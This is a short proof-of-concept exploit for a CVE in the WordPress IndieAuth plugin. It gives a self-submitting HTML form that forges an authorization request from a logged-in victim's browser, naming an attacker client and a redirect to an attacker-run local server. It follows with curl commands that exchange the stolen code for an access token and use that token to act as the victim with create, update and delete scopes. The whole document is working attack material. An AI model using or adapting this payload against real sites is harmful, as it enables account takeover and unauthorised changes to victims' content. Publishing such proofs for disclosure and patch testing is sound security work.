
Proof-of-concept exploit for CVE-2025-12028 demonstrating CSRF-based OAuth token theft in WordPress IndieAuth plugin, enabling unauthorized API access with stolen credentials.
mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000
/tmp/attacker/poc.html with the following contents<!doctype html>
<html>
<body>
<form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
<input name="client_id" value="http://attacker.local/app">
<input name="redirect_uri" value="http://127.0.0.1:8000/cb">
<input name="state" value="csrf-12345">
<input name="response_type" value="code">
<input name="scope[]" value="create">
<input name="scope[]" value="update">
<input name="scope[]" value="delete">
</form>
<script>
document.getElementById('x').submit();
</script>
</body>
</html>
While logged into:
http://localhost/wordpress
Open:
http://127.0.0.1:8000/poc.html
in the same browser session.
The browser will:
http://127.0.0.1:8000/cb?code=...&state=csrf-12345
curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-d "grant_type=authorization_code" \
-d "code=PASTE_CODE_FROM_STEP_4" \
-d "client_id=http://attacker.local/app" \
-d "redirect_uri=http://127.0.0.1:8000/cb"
The JSON response will contain fields such as:
access_tokenscopemerefresh_tokenThis token can now be used to act as the victim within the granted scopes.
TOKEN="PASTE_ACCESS_TOKEN"
curl -s "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-H "Authorization: Bearer $TOKEN"